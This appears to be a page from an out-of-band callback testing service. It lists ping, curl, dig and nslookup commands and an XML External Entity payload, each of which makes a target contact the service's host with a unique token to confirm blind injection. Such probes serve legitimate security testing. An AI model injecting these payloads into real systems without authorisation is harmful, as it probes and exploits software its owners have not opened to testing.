$ ping -c1 -p 00057aae014bb2a7251cf3b60637f300 unhack.ca
 
$ curl http://unhack.ca/p/057aae014bb2a7251cf3b60637f3
 
$ dig 057aae014bb2a7251cf3b60637f3 @unhack.ca
 
$ dig 057aae014bb2a7251cf3b60637f3.ns.unhack.ca
 
C:\> nslookup 057aae014bb2a7251cf3b60637f3 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/057aae014bb2a7251cf3b60637f3">]>
    <foo>&xxe;</foo>
Waiting for ping...